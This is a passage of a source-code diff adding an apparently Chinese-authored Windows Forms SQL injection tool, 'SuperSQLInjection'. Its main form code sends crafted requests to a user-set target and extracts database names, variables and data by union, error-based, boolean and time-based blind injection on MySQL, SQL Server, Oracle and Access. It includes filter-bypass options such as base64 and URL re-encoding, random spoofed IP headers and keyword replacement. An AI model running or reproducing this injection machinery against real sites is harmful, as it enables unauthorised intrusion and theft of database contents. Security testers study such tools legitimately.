System.Windows.Forms.ContextMenuStrip scanInjectionURL_cms; + private System.Windows.Forms.ToolStripMenuItem tsmi_exportScanInjectionURL; + private System.Windows.Forms.ToolStripMenuItem tsmi_clearScanInjectionURL; + private System.Windows.Forms.GroupBox groupBox15; + private System.Windows.Forms.GroupBox groupBox16; + private System.Windows.Forms.ColumnHeader col_injectionDB; + private System.Windows.Forms.ToolStripStatusLabel toolStripStatusLabel8; + private System.Windows.Forms.ToolStripStatusLabel status_lbl_all_status; + private System.Windows.Forms.ComboBox cbox_file_readFileEncoding; + private System.Windows.Forms.Label label24; + private System.Windows.Forms.ToolStripMenuItem 版本ToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem data_dbs_tsmi_saveDTCStruct; + private System.Windows.Forms.ToolStripMenuItem data_dbs_tsmi_loadDTCStruct; + private System.Windows.Forms.ToolStripMenuItem data_dbs_tsmi_clearDTCStruct; + private System.Windows.Forms.ComboBox cbox_inject_type; + private System.Windows.Forms.Label label27; + private System.Windows.Forms.ContextMenuStrip cms_dataPacks; + private System.Windows.Forms.ToolStripMenuItem tsmi_createGetTemplate; + private System.Windows.Forms.ToolStripMenuItem tsmi_createPOSTTemplate; + private System.Windows.Forms.ToolStripMenuItem tsmi_changeRequestMethod; + private System.Windows.Forms.ToolStripMenuItem tsmi_clearColumns; + private System.Windows.Forms.ToolStripMenuItem tsmi_bugReport; + private System.Windows.Forms.GroupBox groupBox9; + private System.Windows.Forms.ComboBox cob_keyRepalce; + private System.Windows.Forms.Label label10; + private System.Windows.Forms.CheckBox bypass_chk_base64; + private System.Windows.Forms.ComboBox bypass_cbox_randIPToHeader; + private System.Windows.Forms.Label label18; + private System.Windows.Forms.Label label17; + private System.Windows.Forms.ComboBox bypass_cbox_sendHTTPSleepTime; + private System.Windows.Forms.CheckBox bypass_chk_inculdeStr; + private System.Windows.Forms.Label label16; + private System.Windows.Forms.TextBox bypass_txt_replaceTo; + private System.Windows.Forms.TextBox bypass_txt_replace; + private System.Windows.Forms.ListView bypass_lvw_replaceString; + private System.Windows.Forms.ColumnHeader col_replace; + private System.Windows.Forms.ColumnHeader col_replaceTo; + private System.Windows.Forms.Button bypass_btn_addReplaceStr; + private System.Windows.Forms.Label label19; + private System.Windows.Forms.CheckBox chk_reaplaceBeforURLEncode; + private System.Windows.Forms.ToolStripStatusLabel lbl_packsCount; + private System.Windows.Forms.ToolStripStatusLabel toolStripStatusLabel11; + private System.Windows.Forms.ToolStripMenuItem tsmi_createPackByURL; + private System.Windows.Forms.ColumnHeader col_url; + private System.Windows.Forms.ToolStripMenuItem tsmi_openURL; + private System.Windows.Forms.ToolStripMenuItem tsmi_tsmi_opentestURL; + private System.Windows.Forms.ComboBox bypass_cbox_loadTemplate; + private System.Windows.Forms.Label label28; + private System.Windows.Forms.Button bypass_btn_saveTemplate; + private System.Windows.Forms.ComboBox cbox_base64Count; + private System.Windows.Forms.ToolStripMenuItem tsmi_tsmi_exortOldURL; + private System.Windows.Forms.ToolStripMenuItem tsmi_tsmi_exortTestURL; + private System.Windows.Forms.ComboBox cbox_bypass_urlencode_count; + } +} + diff --git a/SuperSQLInjection/Main.cs b/SuperSQLInjection/Main.cs new file mode 100644 index 0000000..6a44632 --- /dev/null +++ b/SuperSQLInjection/Main.cs @@ -0,0 +1,7207 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Text; +using System.Windows.Forms; +using tools; +using System.Threading; +using SuperSQLInjection.tools; +using model; +using SuperSQLInjection.model; +using SuperSQLInjection.payload; +using System.Diagnostics; +using System.Text.RegularExpressions; +using System.IO; +using System.Collections; +using SuperSQLInjection.scan; +using System.Web; +using System.Net; + +namespace SuperSQLInjection +{ + public partial class Main : Form + { + public Main() + { + InitializeComponent(); + Control.CheckForIllegalCrossThreadCalls = false; + } + public ShowResponse sr = null; + public Config config = new Config();//注入基础配置 + + public String curren_db = "";//当前数据库 + public String curren_table = "";//当前表 + public static int status = 0; + + public int currentDbsCount = 0; + public int currentTableCount = 0; + public int currentDataCount = 0; + public int dbsCount = 0; + public int tableCount = 0; + public int dataCount = 0; + public int runTime = 0; + public const String setInjectStr = "#inject#"; + public Dictionary serverinfo_list = new Dictionary(); + public Hashtable replaceList = new Hashtable(); + public HashSet scan_list = new HashSet(); + public int loadListStatus = 0;//注入双击导入扫描URL + + public static int comm_count = 0;//猜测的表数量 + + public static int comm_currentCount = 0;//猜测的数量 + + public int injectionURLCount = 0;//注入URL数 + + delegate void showLogDelegate(String log); + + public void showLog(String log) + { + this.txt_log.AppendText(log + "\r\n"); + } + + public void sendRequestAndShowResponse() + { + if (this.sr != null) + { + this.sr.Close(); + } + + if (Thread.CurrentThread.Name == null) + { + Thread.CurrentThread.Name = "SendThread-"; + } + ServerInfo server = HTTP.sendRequestRetry(config.useSSL, config.reTry, config.domain, config.port, "", this.txt_inject_request.Text, config.timeOut, config.encoding, config.is_foward_302,config.redirectDoGet); + if (server.timeout) + { + MessageBox.Show("连接超时!"); + } + else + { + ShowResponse sr = new ShowResponse(); + sr.server = server; + this.sr = sr; + sr.ShowDialog(); + } + + } + + public void sendRequestAndShowResponseInvoke() + { + this.Invoke(new delegateVoid(sendRequestAndShowResponse)); + } + + delegate void delegateVoid(); + + private void btn_inject_sendData_Click(object sender, EventArgs e) + { + if (checkSendDataConfig()) + { + Thread t = new Thread(sendRequestAndShowResponseInvoke); + t.Start(); + } + } + + private void Main_Shown(object sender, EventArgs e) + { + //初始化配置 + + this.cbox_basic_encoding.SelectedIndex = 0; + this.cbox_basic_threadSize.SelectedIndex = 9; + this.cbox_basic_timeOut.SelectedIndex = 4; + this.cbox_basic_reTryCount.SelectedIndex = 1; + this.data_dbs_cob_db_encoding.SelectedIndex = 0; + this.file_cbox_readWrite.SelectedIndex = 0; + this.bypass_cbox_sendHTTPSleepTime.SelectedIndex = 0; + this.cbox_bypass_urlencode_count.SelectedIndex = 0; + + HTTP.main = this; + //清空日志 + Thread t = new Thread(Tools.delHTTPLog); + t.Start(); + try + { + this.config = XML.readConfig("lastConfig.xml"); + reloadConfig(this.config); + } + catch (Exception ex) + { + Tools.SysLog("加载配置发生错误!" + ex.Message); + } + this.Invoke(new StringDelegate(log), "自动加载上次配置成功!"); + InjectionTools.addErrorCode(); + //读取模板 + List templates=FileTool.readAllDic("/config/template/"); + foreach (String templateName in templates) + { + this.bypass_cbox_loadTemplate.Items.Add(templateName); + } + if (config.isAutoCheckUpdate) + { + new Thread(checkUpdate).Start(); + } + + } + public void HttpDownloadFile(string url, string path) + { + // 设置参数 + HttpWebRequest request = WebRequest.Create(url) as HttpWebRequest; + + //发送请求并获取相应回应数据 + HttpWebResponse response = request.GetResponse() as HttpWebResponse; + //直到request.GetResponse()程序才开始向目标网页发送Post请求 + Stream responseStream = response.GetResponseStream(); + + //创建本地文件写入流 + Stream stream = new FileStream(path, FileMode.Create); + + byte[] bArr = new byte[1024]; + int size = responseStream.Read(bArr, 0, (int)bArr.Length); + while (size > 0) + { + stream.Write(bArr, 0, size); + size = responseStream.Read(bArr, 0, (int)bArr.Length); + } + stream.Close(); + responseStream.Close(); + } + + public static int version = 20160525; + public static String versionURL = "http://www.shack2.org/soft/SSuperSQLInjection/version.txt"; + //检查更新 + public void checkUpdate() + { + try + { + String[] result = HttpTools.getHtml(versionURL, 30).Split('-'); + String versionText = result[0]; + int cversion = int.Parse(result[1]); + String versionUpdateURL = result[2]; + if (cversion > version) + { + DialogResult dr = MessageBox.Show("发现新版本:" + versionText + ",更新日期:" + cversion + ",立即更新吗?", "提示", MessageBoxButtons.OKCancel); + + if (DialogResult.OK.Equals(dr)) + { + try + { + int index = versionUpdateURL.LastIndexOf("/"); + String filename = "update.rar"; + if (index != -1){ + filename = versionUpdateURL.Substring(index); + } + HttpDownloadFile(versionUpdateURL, AppDomain.CurrentDomain.BaseDirectory + filename); + MessageBox.Show("更新成功,请将解压后运行!"); + } + + catch (Exception other) + { + MessageBox.Show("更新失败,请访问官网更新!" + other.GetBaseException()); + } + } + } + else + { + + MessageBox.Show("自动检查更新,没有发现新版本!"); + } + } + catch (Exception e) + { + MessageBox.Show("未发现新版本!"); + } + } + + /*** + * 检查配置是否完整 + * + * **/ + + public Boolean checkConfig() + { + + if ("".Equals(this.txt_basic_host.Text)) + { + MessageBox.Show("描述没有填写目标地址!"); + return false; + } + + config.domain = this.txt_basic_host.Text; + + try + { + config.port = int.Parse(this.txt_basic_port.Text); + } + catch (Exception e) + { + MessageBox.Show("把目标端口写上吧!"); + + return false; + } + + if (InjectType.UnKnow.Equals(config.injectType)) + { + MessageBox.Show("注入类型还未设置,您可以人工设置或点击自动识别!"); + return false; + } + + switch (this.cbox_basic_injectType.SelectedIndex) + { + case 0: + config.injectType = InjectType.UnKnow; + break; + case 1: + config.injectType = InjectType.Bool; + break; + case 2: + config.injectType = InjectType.Error; + break; + case 3: + config.injectType = InjectType.Union; + break; + case 4: + config.injectType = InjectType.Sleep; + break; + } + + if (DBType.UnKnow.Equals(config.dbType)) + { + MessageBox.Show("数据库类型还未设置,您可以人工设置或点击自动识别!"); + return false; + } + + switch (this.cbox_basic_dbType.SelectedIndex) + { + case 0: + config.dbType = DBType.UnKnow; + break; + case 1: + config.dbType = DBType.Access; + break; + case 2: + config.dbType = DBType.MySQL5; + break; + case 3: + config.dbType = DBType.SQLServer; + break; + case 4: + config.dbType = DBType.Oracle; + break; + case 5: + config.dbType = DBType.MySQL4; + break; + } + + + try + { + config.timeOut = int.Parse(this.cbox_basic_timeOut.Text); + } + catch (Exception e) + { + MessageBox.Show("每次请求多少时间?没响应我就放弃啦!"); + return false; + } + + + if ("".Equals(this.cbox_basic_encoding.Text)) + { + MessageBox.Show("网页是啥编码呢?我不会去猜的,赶快告诉我!"); + return false; + } + config.encoding = this.cbox_basic_encoding.Text; + + try + { + config.threadSize = int.Parse(this.cbox_basic_threadSize.Text); + } + catch (Exception e) + { + MessageBox.Show("大侠,同时启动多少个线程呢!"); + return false; + } + + try + { + config.reTry = int.Parse(this.cbox_basic_reTryCount.Text); + } + catch (Exception e) + { + MessageBox.Show("失败了不能放弃,我能试几次?"); + return false; + } + + if (this.cbox_basic_injectType.SelectedIndex == 0 && this.txt_inject_key.Text == "") + { + MessageBox.Show("盲注需要设置关键字,这个关键字呢,就是正常时(and 1=1)存在的字符,而不正常时(and 1=2)不存在的字符!"); + return false; + } + + if (this.cbox_basic_injectType.SelectedIndex == 1 && (this.txt_inject_unionColumnsCount.Text.Length <= 0 || this.txt_inject_showColumn.Text.Length <= 0)) + { + MessageBox.Show("Union注入需要设置查询总列数和数据显示列!"); + return false; + } + + config.key = this.txt_inject_key.Text; + + if (this.txt_inject_request.Text == "") + { + MessageBox.Show("没有设置数据包!"); + return false; + } + + config.request = this.txt_inject_request.Text; + //设置线程池控制 + ThreadPool.SetMinThreads(config.threadSize, config.threadSize); + MyThreadPool.maxThread = config.threadSize; + return true; + + } + + public Boolean checkSendDataConfig() + { + if ("".Equals(this.txt_inject_request.Text)) + { + MessageBox.Show("没有数据包!"); + return false; + } + + if ("".Equals(this.txt_basic_host.Text)) + { + MessageBox.Show("描述没有填写目标地址!"); + return false; + } + + config.domain = this.txt_basic_host.Text; + + try + { + config.port = int.Parse(this.txt_basic_port.Text); + } + catch (Exception e) + { + MessageBox.Show("把目标端口写上吧!"); + return false; + } + + try + { + config.timeOut = int.Parse(this.cbox_basic_timeOut.Text); + } + catch (Exception e) + { + MessageBox.Show("每次请求多少时间?没响应我就放弃啦!"); + return false; + } + + + if ("".Equals(this.cbox_basic_encoding.Text)) + { + MessageBox.Show("网页是啥编码呢?我不会去猜的,赶快告诉我!"); + return false; + } + config.encoding = this.cbox_basic_encoding.Text; + + try + { + config.threadSize = int.Parse(this.cbox_basic_threadSize.Text); + } + catch (Exception e) + { + MessageBox.Show("每次请求多少时间?没响应我就放弃啦!"); + return false; + } + config.is_foward_302 = this.chk_inject_foward_302.Checked; + return true; + + } + public void getVariablesBySleep(DBType dbType) + { + + + + + } + /// + /// 获得union获得error注入的获得的数据内容 + /// + /// + /// + public String getOneDataByUnionOrError(String opayload) + { + + try + { + ServerInfo server = HTTP.sendRequestRetry(config.useSSL, config.reTry, config.domain, config.port, opayload.ToString(), config.request, config.timeOut, config.encoding, config.is_foward_302, config.redirectDoGet); + + if (server.body != null && server.body.Length > 0) + { + //查找格式^^!col$$$col!^^ + Match m = Regex.Match(server.body, "(?<=(\\^\\^\\!))[.\\s\\S]*?(?=(\\!\\^\\^))"); + if (m.Success) + { + return m.Value; + } + } + } + catch (Exception e) + { + + this.Invoke(new StringDelegate(log), "发生异常:" + e.Message); + + } + return ""; + } + + + + /// + /// 获得union error注入的获得的hex数据内容 + /// + /// + /// + public String getOneHexDataByUnionOrError(String opayload) + { + + try + { + ServerInfo server = HTTP.sendRequestRetry(config.useSSL, config.reTry, config.domain, config.port, opayload.ToString(), config.request, config.timeOut, config.encoding, config.is_foward_302,config.redirectDoGet); + + if (server.body != null && server.body.Length > 0) + { + //查找格式 + Match m = Regex.Match(server.body, "(?<=(\\-\\-\\:))[.\\s\\S]*?(?=(\\:\\-\\-))"); + if (m.Success) + { + return Tools.unHex(m.Value, config.db_encoding); + } + } + } + catch (Exception e) + { + + this.Invoke(new StringDelegate(log), "发生异常:" + e.Message); + + } + return ""; + } + + public String getOneHexNoUnHexDataByUnionOrError(String opayload) + { + + try + { + ServerInfo server = HTTP.sendRequestRetry(config.useSSL, config.reTry, config.domain, config.port, opayload.ToString(), config.request, config.timeOut, config.encoding, config.is_foward_302, config.redirectDoGet); + + if (server.body != null && server.body.Length > 0) + { + //查找格式 + Match m = Regex.Match(server.body, "(?<=(\\-\\-\\:))[.\\s\\S]*?(?=(\\:\\-\\-))"); + if (m.Success) + { + return m.Value; + } + } + } + catch (Exception e) + { + + this.Invoke(new StringDelegate(log), "发生异常:" + e.Message); + + } + return ""; + } + + + public void getVariablesByUnionByMySQL5(Object v) + { + if (status == 0) + { + + Thread.CurrentThread.Abort(); + } + String[] sv = v.ToString().Split(':'); + List column_list = new List(); + column_list.Add(sv[1]); + String columns = MySQL5.creatMySQLColumnsStrByUnion(config.columnsCount, config.showColumn, "1", column_list, null, null, -1); + String pay_load = MySQL5.union_value.Replace("{data}", columns); + String result = getOneDataByUnionOrError(pay_load); + this.Invoke(new setVariableDelegate(setVariable), sv[0], result); + } + + public void getVariablesByUnionBySQLServer(Object v) + { + + String[] sv = v.ToString().Split(':'); + String pay_load = MSSQL.getUnionDataValue(config.columnsCount, config.showColumn, 1, sv[1]); + String result = getOneDataByUnionOrError(pay_load); + this.Invoke(new setVariableDelegate(setVariable), sv[0], result); + } + + public void getVariablesByUnionByOracle(Object v) + { + + String[] sv = v.ToString().Split(':'); + String pay_load = Oracle.getUnionDataValue(config.columnsCount, config.showColumn, sv[1], "", "", ""); + String result = getOneDataByUnionOrError(pay_load); + this.Invoke(new setVariableDelegate(setVariable), sv[0], result); + } + + public void getVariablesByErrorByMySQL5(Object v) + { + String[] sv = v.ToString().Split(':'); + List column_list = new List(); + column_list.Add(sv[1]); + String columns = MySQL5.creatMySQLColumnsStrByError(column_list, null, null, -1); + String pay_load = MySQL5.error_value.Replace("{data}", columns); + String result = getOneDataByUnionOrError(pay_load); + this.Invoke(new setVariableDelegate(setVariable), sv[0], result); + + } + + public void getVariablesByErrorBySQLServer(Object v) + { + String[] sv = v.ToString().Split(':'); + List column_list = new List(); + column_list.Add(sv[1]); + String pay_load = MSSQL.error_value.Replace("{data}", sv[1]); + String result = getOneDataByUnionOrError(pay_load); + //错误显示会HTML编码,所以需要HTML解码 + result = HttpUtility.HtmlDecode(result); + this.Invoke(new setVariableDelegate(setVariable), sv[0], result); + + } + + public void getVariablesByErrorByOracle(Object v) + { + String[] sv = v.ToString().Split(':'); + List column_list = new List(); + column_list.Add(sv[1]); + String pay_load = Oracle.getErrorDataValue(sv[1], "", "", ""); + String result = getOneHexDataByUnionOrError(pay_load); + this.Invoke(new setVariableDelegate(setVariable), sv[0], result); + + } + + //立即结束线程池 + private void StopThread() + { + status = -1; + if (this.currentThread != null) + { + this.currentThread.Abort(); + } + status = 0; + } + + public void getVariablesByUnion(DBType dbType) + { + switch (dbType) + { + + case DBType.Access: + MessageBox.Show("报告大侠,Access数据库不支持此功能!"); + break; + case DBType.MySQL4: break; + case DBType.MySQL5: + this.dataCount = MySQL5.vers.Count; + if (MySQL5.vers != null && MySQL5.vers.Count > 0) + { + for (int j = 0; j < MySQL5.vers.Count; j++) + { + String v = MySQL5.vers[j]; + //获取对应环境变量值 + MyThreadPool.initThread(new ParameterizedThreadStart(getVariablesByUnionByMySQL5), v); + this.currentDataCount = j + 1; + } + + } + else + { + MessageBox.Show("没有读到相关数据库的环境变量文件,请检查配置文件:config/mysql5/vers.txt是否存在!"); + } + break; + case DBType.SQLServer: + this.dataCount = MSSQL.vers.Count; + if (MSSQL.vers != null && MSSQL.vers.Count > 0) + { + for (int j = 0; j < MSSQL.vers.Count; j++) + { + String v = MSSQL.vers[j]; + //获取对应环境变量值 + MyThreadPool.initThread(new ParameterizedThreadStart(getVariablesByUnionBySQLServer), v); + this.currentDataCount = j + 1; + } + } + else + { + MessageBox.Show("没有读到相关数据库的环境变量文件,请检查配置文件:config/sqlserver/vers.txt是否存在!"); + } + break; + case DBType.Oracle: + this.dataCount = Oracle.vers.Count; + if (Oracle.vers != null && Oracle.vers.Count > 0) + { + for (int j = 0; j < Oracle.vers.Count; j++) + { + String v = Oracle.vers[j]; + //获取对应环境变量值 + MyThreadPool.initThread(new ParameterizedThreadStart(getVariablesByUnionByOracle), v); + this.currentDataCount = j + 1; + } + } + else + { + MessageBox.Show("没有读到相关数据库的环境变量文件,请检查配置文件:config/sqlserver/vers.txt是否存在!"); + } + break; + } + + } + public void getVariablesByError(DBType dbType) + { + switch (dbType) + { + + case DBType.Access: + MessageBox.Show("抱歉,Access数据库不支持错误显示方式注入!"); + break; + + case DBType.MySQL4: + MessageBox.Show("抱歉,MySQL4以下版本不支持错误显示方式注入!"); + break; + case DBType.MySQL5: + this.dataCount = MySQL5.vers.Count; + if (MySQL5.vers != null && MySQL5.vers.Count > 0) + { + for (int j = 0; j < MySQL5.vers.Count; j++) + { + String v = MySQL5.vers[j]; + //获取对应环境变量值 + MyThreadPool.initThread(new ParameterizedThreadStart(getVariablesByErrorByMySQL5), v); + this.currentDataCount = j + 1; + } + } + else + { + MessageBox.Show("没有读到相关数据库的环境变量文件,请检查配置文件:config/mysql5/vers.txt是否存在!"); + } + break; + case DBType.SQLServer: + this.dataCount = MSSQL.vers.Count; + if (MSSQL.vers != null && MSSQL.vers.Count > 0) + { + for (int j = 0; j < MSSQL.vers.Count; j++) + { + String v = MSSQL.vers[j]; + //获取对应环境变量值 + MyThreadPool.initThread(new ParameterizedThreadStart(getVariablesByErrorBySQLServer), v); + this.currentDataCount = j + 1; + } + } + else + { + MessageBox.Show("没有读到相关数据库的环境变量文件,请检查配置文件:config/sqlserver/vers.txt是否存在!"); + } + break; + case DBType.Oracle: + this.dataCount = Oracle.vers.Count; + if (Oracle.vers != null && Oracle.vers.Count > 0) + { + for (int j = 0; j < Oracle.vers.Count; j++) + { + String v = Oracle.vers[j]; + //获取对应环境变量值 + MyThreadPool.initThread(new ParameterizedThreadStart(getVariablesByErrorByOracle), v); + this.currentDataCount = j + 1; + } + } + else + { + MessageBox.Show("没有读到相关数据库的环境变量文件,请检查配置文件:config/sqlserver/vers.txt是否存在!"); + } + break; + } + + } + + public void getVariablesByBool(DBType dbType) + { + + switch (dbType) + { + + case DBType.Access: + MessageBox.Show("报告大侠,Access数据库不支持此功能!"); + break; + case DBType.MySQL4: + + break; + case DBType.MySQL5: + this.dataCount = MySQL5.vers.Count; + if (MySQL5.vers != null && MySQL5.vers.Count > 0) + { + for (int j = 0; j < MySQL5.vers.Count; j++) + { + String v = MySQL5.vers[j]; + MyThreadPool.initThread(new ParameterizedThreadStart(getVariableByBoolByMySQL), v); + this.currentDataCount = j + 1; + } + } + else + { + MessageBox.Show("没有读到相关数据库的环境变量文件,请检查配置文件:config/mysql5/vers.txt是否存在!"); + } + break; + case DBType.SQLServer: + this.dataCount = MSSQL.vers.Count; + if (MSSQL.vers != null && MSSQL.vers.Count > 0) + { + for (int j = 0; j < MSSQL.vers.Count; j++) + { + String v = MSSQL.vers[j]; + //获取对应环境变量值 + MyThreadPool.initThread(new ParameterizedThreadStart(getVariableByBoolBySQLServer), v); + this.currentDataCount = j + 1; + } + } + else + { + MessageBox.Show("没有读到相关数据库的环境变量文件,请检查配置文件:config/sqlserver/vers.txt是否存在!"); + } + break; + case DBType.Oracle: + this.dataCount = Oracle.vers.Count; + if (Oracle.vers != null && Oracle.vers.Count > 0) + { + for (int j = 0; j < Oracle.vers.Count; j++) + { + String v = Oracle.vers[j]; + MyThreadPool.initThread(new ParameterizedThreadStart(getVariableByBoolByOracle), v); + this.currentDataCount = j + 1; + } + } + else + { + MessageBox.Show("没有读到相关数据库的环境变量文件,请检查配置文件:config/sqlserver/vers.txt是否存在!"); + } + + break; + } + } + + /** + 获取环境变量 + */ + public void getVers() + { + //获取环境变量 + this.data_lvw_ver.Items.Clear(); + //检查注入配置 + if (checkConfig()) + { + //判断是否标记注入点 + if (isSetInjectPoint()) + { + switch (config.injectType) + { + case InjectType.Bool: + getVariablesByBool(config.dbType); + break; + + case InjectType.Union: + getVariablesByUnion(config.dbType); + break; + case InjectType.Error: + getVariablesByError(config.dbType); + break; + case InjectType.Sleep: + getVariablesByBool(config.dbType); + break; + } + + } + + } + + } + public Thread currentThread = null; + private void data_cms_tsmi_getVariable_Click(object sender, EventArgs e) + { + if (MyThreadPool.GetAliveThreadsCount() == 0) + { + status = 1; + currentThread = new Thread(getVers); + currentThread.Start(); + } + else + { + + MessageBox.Show("还有线程未结束,请稍后..."); + } + } + + public delegate void setVariableDelegate(String name, String value); + public void setVariable(String name, String value) + { + ListViewItem lvi = new ListViewItem(name); + + lvi.SubItems.Add(value); + this.data_lvw_ver.Items.Add(lvi); + } + + /// + /// 获取环境变量mysql bool + /// + /// + public void getVariableByBoolByMySQL(Object vers) + { + /* + if (config.keyType.Equals(KeyType.Time)) { + getVariableByBoolByMySQLSleep(vers); + }*/ + try + { + String[] vs = vers.ToString().Split(':'); + + String payload_len = MySQL5.ver_length.Replace("{data}", vs[1]); + if (config.keyType.Equals(KeyType.Time)) + { + payload_len = MySQL5.getBoolCountBySleep(MySQL5.bool_length, config.maxTime).Replace("{data}", vs[1]); + } + + int len = getValueByStepUp(payload_len,0, 10); + this.Invoke(new StringDelegate(log), vs[0] + "长度为-----:" + len); + + String va_payload = MySQL5.ver_value.Replace("{data}", vs[1]); + if (config.keyType.Equals(KeyType.Time)) + { + va_payload = MySQL5.getBoolCountBySleep(MySQL5.bool_value, config.maxTime).Replace("{data}", vs[1]); + } + + String value = ""; + //获取值 + for (int i = 1; i <= len; i++) + { + /* + String plen = null; + //是否判断多字节字符 + Boolean pLen_isMax = false; + if ("1".Equals(vs[4])) + { + //开启多字节判断 + //转换对应值判断是否多字节字符 + plen = MySQL5.ver_length.Replace("data", MySQL5.mu_value.Replace("{data}", vs[1]).Replace("{index}", i + "")); + pLen_isMax = findKeyInBody(plen, 2); + } + + //取值payload,替换对应下标值 + String tmp_va_payload = va_payload.Replace("{index}", i + ""); + //多字节字符 + if (pLen_isMax) + { + //MySQL采用hex + int mu_payload_len = getValue(plen, 2, 8); + int m_index = 0; + String[] ver_tmp = new String[mu_payload_len]; + while (m_index < mu_payload_len) + { + //获取多字节 + int ascii = getValue(tmp_va_payload, 0, 128); + ver_tmp[m_index] = ((char)ascii).ToString(); + m_index++; + } + //设置值,这里由于是hex值,需要转换 + value += Tools.unHex(Tools.convertToString(ver_tmp), config.db_encoding); + } + //单字节字符 + else + { + int ascii = getValue(tmp_va_payload, 0, 255); + value += ((char)ascii).ToString(); + }*/ + String tmp_va_payload = va_payload.Replace("{index}", i + ""); + int ascii = getValue(tmp_va_payload, 0, 255); + value += ((char)ascii).ToString(); + } + this.Invoke(new StringDelegate(log), vs[0] + "值为-----:" + value); + this.Invoke(new setVariableDelegate(setVariable), vs[0], value); + + } + catch (Exception e) + { + + this.Invoke(new StringDelegate(log), "获取值发生异常:" + e.Message); + } + + } + + public void getVariableByBoolByMySQLSleep(Object vers) + { + try + { + String[] vs = vers.ToString().Split(':'); + + String payload_len = MySQL5.getBoolCountBySleep(MySQL5.bool_length, config.maxTime).Replace("{data}", vs[1]); + + int len = getValueByStepUp(payload_len, 0, 10); + this.Invoke(new StringDelegate(log), vs[0] + "长度为-----:" + len); + String va_payload = MySQL5.getBoolCountBySleep(MySQL5.bool_value, config.maxTime).Replace("{data}", vs[1]); + String value = ""; + //获取值 + for (int i = 1; i <= len; i++) + { + /*此处忽略有中文的情况,这样可以提高速度 + String plen = null; + //是否判断多字节字符 + Boolean pLen_isMax = false; + if ("1".Equals(vs[4])) + { + //开启多字节判断 + //转换对应值判断是否多字节字符 + plen = MySQL5.ver_length.Replace("data", MySQL5.mu_value.Replace("{data}", vs[1]).Replace("{index}", i + "")); + pLen_isMax = findKeyInBody(plen, 2); + } + + //取值payload,替换对应下标值 + String tmp_va_payload = va_payload.Replace("{index}", i + ""); + //多字节字符 + if (pLen_isMax) + { + //MySQL采用hex + int mu_payload_len = getValue(plen, 2, 8); + int m_index = 0; + String[] ver_tmp = new String[mu_payload_len]; + while (m_index < mu_payload_len) + { + //获取多字节 + int ascii = getValue(tmp_va_payload, 0, 128); + ver_tmp[m_index] = ((char)ascii).ToString(); + m_index++; + } + //设置值,这里由于是hex值,需要转换 + value += Tools.unHex(Tools.convertToString(ver_tmp), config.db_encoding); + } + //单字节字符 + else + { + int ascii = getValue(tmp_va_payload, 0, 255); + value += ((char)ascii).ToString(); + }*/ + String tmp_va_payload = va_payload.Replace("{index}", i + ""); + int ascii = getValue(tmp_va_payload, 0, 255); + value += ((char)ascii).ToString(); + } + this.Invoke(new StringDelegate(log), vs[0] + "值为-----:" + value); + this.Invoke(new setVariableDelegate(setVariable), vs[0], value); + + } + catch (Exception e) + { + + this.Invoke(new StringDelegate(log), "获取值发生异常:" + e.Message); + } + + } + + + /// + /// 获取环境变量sqlserver bool + /// + /// + public void getVariableByBoolBySQLServer(Object vers) + { + try + { + String[] vs = vers.ToString().Split(':'); + //判断变量长度 + int len = getValueByStepUp(MSSQL.bool_length.Replace("{data}", vs[1]), 0, 10); + this.Invoke(new StringDelegate(log), vs[0] + "长度为-----:" + len); + + String va_payload = MSSQL.bool_value.Replace("{data}", vs[1]); + String value = ""; + //获取值 + for (int i = 1; i <= len; i++) + { + + //select UNICODE(substring(@@version,{index},1)) + //取值payload,替换对应下标值 + String unicode_data_payload = MSSQL.unicode_value.Replace("{index}", i + "").Replace("{data}", vs[1] + ""); + //取unicode转换后的长度 + String unicode_data_len_payload = MSSQL.bool_length.Replace("{data}", unicode_data_payload); + + //长度范围2-8支持大部分语言 + int unicode_data_len = getValue(unicode_data_len_payload, 1, 8); + int m_index = 1; + StringBuilder unicodes = new StringBuilder(); + while (m_index <= unicode_data_len) + { + //获取多字节 + String substr_payload = MSSQL.substr.Replace("{data}", unicode_data_payload).Replace("{index}", m_index.ToString()); + //单个unicode值范围是0-9 + int unicode = getValue(MSSQL.bool_value.Replace("{data}", substr_payload), 0, 9); + unicodes.Append(unicode.ToString()); + m_index++; + } + + value += Tools.unHexByUnicode(int.Parse(unicodes.ToString()), config.db_encoding); + //设置值,这里由于是unicode值,需要转换 + //String tmp_va_payload = va_payload.Replace("{index}", i + ""); + //int ascii = getValue(tmp_va_payload, 0, 255); + } + this.Invoke(new StringDelegate(log), vs[0] + "值为-----:" + value); + this.Invoke(new setVariableDelegate(setVariable), vs[0], value); + + } + catch (Exception e) + { + + this.Invoke(new StringDelegate(log), "获取值发生异常:" + e.Message); + } + } + + + /// + /// 获取环境变量oracle bool + /// + /// + public void getVariableByBoolByOracle(Object vers) + { + try + { + String[] vs = vers.ToString().Split(':'); + //判断变量长度 + int len = getValueByStepUp(Oracle.bool_length.Replace("{data}", vs[1]), 0, 10); + this.Invoke(new StringDelegate(log), vs[0] + "长度为-----:" + len); + + String va_payload = Oracle.bool_value.Replace("{data}", vs[1]); + String value = ""; + //获取值 + for (int i = 1; i <= len; i++) + { + String dp = va_payload.Replace("{index}", i.ToString()); + int ascii = getValue(dp, 0, 255); + value += (char)ascii; + } + this.Invoke(new StringDelegate(log), vs[0] + "值为-----:" + value); + this.Invoke(new setVariableDelegate(setVariable), vs[0], value); + + } + catch (Exception e) + { + + this.Invoke(new StringDelegate(log), "获取值发生异常:" + e.Message); + } + } + + delegate void addItemToListViewDelegate(ListViewItem item); + + public void addItemToListView(ListViewItem item) + { + this.data_dbs_lvw_data.Items.Add(item); + } + + delegate void addItemToListViewByColumnsDelegate(String colvs); + public void addItemToListViewByColumns(String colvs) + { + String[] colv = Regex.Split(colvs, "\\$\\$\\$"); + ListViewItem lvi = null; + for (int i = 0; i < colv.Length; i++) + { + if (lvi == null) + { + lvi = new ListViewItem(colv[i]); + } + else + { + + lvi.SubItems.Add(colv[i]); + } + } + this.data_dbs_lvw_data.Items.Add(lvi); + } + + /// + /// 获取数据库名称 + /// + /// 下标limit + public void getDBNameByBoolByMySQL(Object oindex) + { + try + { + int db_index = int.Parse(oindex.ToString()); + //判断对应下标的数据库长度 + String payload_len = MySQL5.ver_length.Replace("{data}", MySQL5.db_value.Replace("{index}", oindex.ToString())); + if (config.keyType.Equals(KeyType.Time)) + { + payload_len = MySQL5.getBoolCountBySleep(MySQL5.bool_length.Replace("{data}", MySQL5.db_value.Replace("{index}", oindex.ToString())), 